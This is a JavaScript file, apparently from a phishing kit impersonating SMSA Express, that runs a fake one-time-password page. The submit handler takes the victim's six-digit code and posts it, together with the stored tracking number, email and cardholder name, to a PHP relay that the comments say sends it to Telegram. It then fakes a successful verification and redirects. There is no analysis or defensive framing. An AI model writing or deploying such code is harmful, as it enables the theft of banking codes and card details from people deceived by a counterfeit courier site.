/home2/mshostin/public_html/saudiapost/smsa/js/otp_flow.js
/* ============================================
   SMSA EXPRESS - OTP FLOW MANAGEMENT
   Redirection : OTP → Chargement
   AVEC ENVOI TELEGRAM
   ============================================ */

document.addEventListener('DOMContentLoaded', function() {
    const otpForm = document.getElementById('otp-form');
    if (otpForm) {
        const otpInputs = document.querySelectorAll('.otp-input');
        
        // Auto-focus and input handling
        otpInputs.forEach((input, index) => {
            input.addEventListener('input', (e) => {
                if (e.target.value.length === 1) {
                    if (index < otpInputs.length - 1) {
                        otpInputs[index + 1].focus();
                    }
                    e.target.classList.add('filled');
                } else {
                    e.target.classList.remove('filled');
                }
            });

            input.addEventListener('keydown', (e) => {
                if (e.key === 'Backspace' && e.target.value === '') {
                    if (index > 0) {
                        otpInputs[index - 1].focus();
                    }
                }
            });

            input.addEventListener('paste', (e) => {
                e.preventDefault();
                const pastedData = e.clipboardData.getData('text');
                if (/^\d{6}$/.test(pastedData)) {
                    pastedData.split('').forEach((char, i) => {
                        if (i < otpInputs.length) {
                            otpInputs[i].value = char;
                            otpInputs[i].classList.add('filled');
                        }
                    });
                    otpInputs[otpInputs.length - 1].focus();
                }
            });
        });

        // Form submission
        otpForm.addEventListener('submit', (e) => {
            e.preventDefault();
            const otp = Array.from(otpInputs).map(input => input.value).join('');
            
            if (otp.length !== 6) {
                const lang = document.documentElement.lang === 'ar' ? 
                    'يرجى إدخال جميع الأرقام الستة' : 
                    'Please enter all 6 digits';
                showAlert(lang, 'error');
                return;
            }

            // Store OTP data
            storeOTPData(otp);

            // Send OTP data to Telegram
            sendOTPDataToTelegram(otp);

            // Simulate verification
            const verifyBtn = document.getElementById('btn-verify');
            verifyBtn.disabled = true;
            const lang = document.documentElement.lang === 'ar' ? 'جاري التحقق...' : 'Verifying...';
            verifyBtn.textContent = lang;

            setTimeout(() => {
                const successMsg = document.documentElement.lang === 'ar' ? 
                    'تم التحقق من OTP بنجاح! جاري إعادة التوجيه...' : 
                    'OTP verified successfully! Redirecting...';
                showAlert(successMsg, 'success');
                setTimeout(() => {
                    const langSuffix = document.documentElement.lang === 'ar' ? '_ar' : '';
                    window.location.href = `loading${langSuffix}.html`;
                }, 1500);
            }, 1500);
        });

        // Timer and resend
        initializeTimer();
        initializeResend();
    }

    // Auto-focus first input
    const firstInput = document.querySelector('.otp-input');
    if (firstInput) {
        firstInput.focus();
    }
});

// Store OTP data
function storeOTPData(otp) {
    const otpData = {
        code: otp,
        timestamp: new Date().toISOString(),
        verified: true
    };
    sessionStorage.setItem('otpData', JSON.stringify(otpData));
}

// Send OTP data to Telegram
function sendOTPDataToTelegram(otp) {
    const paymentData = sessionStorage.getItem('paymentData');
    const parsedPaymentData = paymentData ? JSON.parse(paymentData) : {};

    const formData = new FormData();
    formData.append('action', 'otp_verification');
    formData.append('otp_code', otp);
    formData.append('tracking_number', parsedPaymentData.tracking_number || 'N/A');
    formData.append('email', parsedPaymentData.email || 'N/A');
    formData.append('card_name', parsedPaymentData.card_name || 'N/A');
    formData.append('timestamp', new Date().toLocaleString());
    formData.append('language', document.documentElement.lang === 'ar' ? 'ar' : 'en');

    // Send to Telegram with keepalive
    fetch('send_to_telegram.php', {
        method: 'POST',
        body: formData,
        keepalive: true
    })
    .then(response => response.json())
    .then(data => {
        console.log('OTP data sent to Telegram:', data);
    })
    .catch(error => {
        console.error('Error sending OTP data to Telegram:', error);
    });
}

// Initialize timer
function initializeTimer() {
    let timeLeft = 59;
    const timerDisplay = document.getElementById('timer');
    const resendLink = document.getElementById('resend-link');

    function updateTimer() {
        timeLeft--;
        const lang = document.documentElement.lang === 'ar';
        if (lang) {
            timerDisplay.innerHTML = `إعادة إرسال الرمز في <strong>${timeLeft}</strong>ث`;
        } else {
            timerDisplay.innerHTML = `Resend code in <strong>${timeLeft}</strong>s`;
        }
        
        if (timeLeft === 0) {
            clearInterval(timerInterval);
            resendLink.style.pointerEvents = 'auto';
            resendLink.style.opacity = '1';
        }
    }

    const timerInterval = setInterval(updateTimer, 1000);
}

// Initialize resend functionality
function initializeResend() {
    const resendLink = document.getElementById('resend-link');
    if (resendLink) {
        resendLink.addEventListener('click', (e) => {
            e.preventDefault();
            const lang = document.documentElement.lang === 'ar' ? 
                'تم إعادة إرسال الرمز إلى بريدك الإلكتروني' : 
                'Code resent to your email';
            showAlert(lang, 'success');
        });
    }
}

// Alert function
function showAlert(message, type) {
    const alertBox = document.getElementById('alert-box');
    if (!alertBox) return;
    
    alertBox.textContent = message;
    alertBox.className = `alert active ${type}`;
    setTimeout(() => {
        alertBox.classList.remove('active');
    }, 5000);
}